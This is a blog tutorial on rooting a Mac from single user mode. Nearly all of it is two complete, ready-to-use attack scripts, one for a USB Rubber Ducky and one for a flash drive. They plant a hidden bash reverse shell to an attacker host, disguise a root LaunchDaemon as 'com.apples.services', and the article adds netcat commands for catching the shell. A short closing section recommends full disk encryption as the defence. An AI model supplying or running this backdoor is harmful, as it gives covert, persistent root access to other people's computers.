Root a Mac in 10 seconds or less

Often times, physical access to a machine means game over. While people like to think that OSX is immune to most security threats, even Apple computers can be susceptible to physical attacks. Mac OSX is capable of booting into single user mode by holding a special key combination (Command-S). From this point, an attacker has root access to the entire computer. Note that this is not a security exploit, but rather an intentionally designed feature. While of course the intruder needs to be physically present, this can become a huge security problem. (There is proven method for preventing this attack that I will cover at the end of the article.)

Since physical access to the machine is required, time is precious and must be cut to a minimum. There are two methods for optimizing time, scripts and a little tool called the USB Rubber Ducky. The Rubber Ducky is small HID that looks like a flash drive and acts like a keyboard. It is designed to pound out scripts at freakish speeds, as if you were typing it yourself. Of course, a flash drive will work too.

This backdoor is almost identical to the basic backdoor described in OSX Backdoor – Persistence. Read that article if you would like to better understand the inner workings of this backdoor. Similarly, we will create a script that sends a shell back home through netcat. Finally, we will add the script as a Launch Daemons where it will be executed as root every 60 seconds.

Checkout the Github repository.

The Rubber Ducky Method

1) Download the Ducky Decoder and Firmware from here.

Be sure to use duck_v2.1.hex or above. There are instructions on how to flash your ducky. At the time of writing this, I used Ducky Decoder v2.4 and duck_v2.1.hex firmware. (Special thanks to midnitesnake for patching the firmware)

2) Create the script source.txt.

Be sure to replace mysite.com with your IP address or domain name. Similarly, place your port number 1337 on the same line.

REM Patrick Mosca
REM A simple script for rooting OSX from single user mode.
REM Change mysite.com to your domain name or IP address
REM Change 1337 to your port number
REM Catch the shell with 'nc -l -p 1337'
REM http://patrickmosca.com/root-a-mac-in-10-seconds-or-less/
DELAY 1000
STRING mount -uw /
ENTER
DELAY 2000
STRING mkdir /Library/.hidden
ENTER
DELAY 200
STRING echo '#!/bin/bash
ENTER
STRING bash -i >& /dev/tcp/mysite.com/1337 0>&1
ENTER
STRING wait' > /Library/.hidden/connect.sh
ENTER
DELAY 500
STRING chmod +x /Library/.hidden/connect.sh
ENTER
DELAY 200
STRING mkdir /Library/LaunchDaemons
ENTER
DELAY 200
STRING echo '<plist version="1.0">
ENTER
STRING <dict>
ENTER
STRING <key>Label</key>
ENTER
STRING <string>com.apples.services</string>
ENTER
STRING <key>ProgramArguments</key>
ENTER
STRING <array>
ENTER
STRING <string>/bin/sh</string>
ENTER
STRING <string>/Library/.hidden/connect.sh</string>
ENTER
STRING </array>
ENTER
STRING <key>RunAtLoad</key>
ENTER
STRING <true/>
ENTER
STRING <key>StartInterval</key>
ENTER
STRING <integer>60</integer>
ENTER
STRING <key>AbandonProcessGroup</key>
ENTER
STRING <true/>
ENTER
STRING </dict>
ENTER
STRING </plist>' > /Library/LaunchDaemons/com.apples.services.plist
ENTER
DELAY 500
STRING chmod 600 /Library/LaunchDaemons/com.apples.services.plist
ENTER
DELAY 200
STRING launchctl load /Library/LaunchDaemons/com.apples.services.plist
ENTER
DELAY 1000
STRING shutdown -h now
ENTER

3) Compile and install the script.

From within the ducky decoder folder, execute:

Move your inject.bin over to the ducky.

4) Boot into single user mode (Command – S).

5) At the command prompt, plug in ducky.

6) Catch your shell.

Say hello! You are now root 

The USB Flash Drive Method

1) Create the file install.bash on a flash drive.

#!/bin/bash
 
#Create the hidden directory /Library/.hidden
mkdir /Library/.hidden
 
#Copy the script to hidden folder
echo "
#!/bin/bash
bash -i >& /dev/tcp/mysite.com/1337 0>&1
wait" > /Library/.hidden/connect.sh
 
#Give the script permission to execute
chmod +x /Library/.hidden/connect.sh
 
#Create directory if it doesn't already exist.
mkdir /Library/LaunchDaemons
 
#Write the .plist to LaunchDaemons
echo '
 
Label
com.apples.services
ProgramArguments
 
/bin/sh
/Library/.hidden/connect.sh
 
RunAtLoad
StartInterval
60
AbandonProcessGroup
' > /Library/LaunchDaemons/com.apples.services.plist
 
chmod 600 /Library/LaunchDaemons/com.apples.services.plist
 
#Load the LaunchAgent
launchctl load /Library/LaunchDaemons/com.apples.services.plist
 
shutdown -h now

2) Boot into single user mode (Command – S).

3) Execute the commands.

mount -uw /
 
mkdir /Volumes/usb
 
ls /dev
 
mount_msdos /dev/disk1s1 /Volumes/usb
 
cd /Volumes/usb
 
./install.bash

disk1s1 will change! If you’re not sure which device is your flash, take out your device, list devices, put your flash drive back in, and list devices. Your flash drive will be the device that has come and gone.

4) Catch your shell.

nc -l -p 1337

nc -l 1337

The difference between the USB Rubber Ducky method and the flash drive method is night and day. There is a little more preparation that goes into setting up the ducky, but execution time is prime. When time is of the essence, listing devices, making directories, and mounting flash drives can impede on an “operation.” Either route you choose, both methods will ensure a persistent backdoor as the root user 

As for preventing this lethal attack, there are two possible defenses. Locking the EFI firmware will prevent users from accessing single user mode by locking single user mode with a password. Don’t do this. It is a complete waste of time. The password can be reset by removing physical RAM and resetting the PRAM as described here. The only sure way to prevent unwanted root access to your system is by simply enabling File Vault’s full disk encryption (not home folder encryption!). Since this encrypts the entire drive, it is will be impossible to access single user mode without the (strong) password. Problem solved.

This article was written to show the vulnerabilities of Macs without full disk encryption or locked EFI firmware. Please no one get in trouble. It is very easy to sniff the wire and find the attacker’s IP address that is causing excessive noise every 60 seconds.

I put the script and version 2.6.3 of the ducky encoder on Github for convenience. If you found this interesting, give a star. Thanks for reading.

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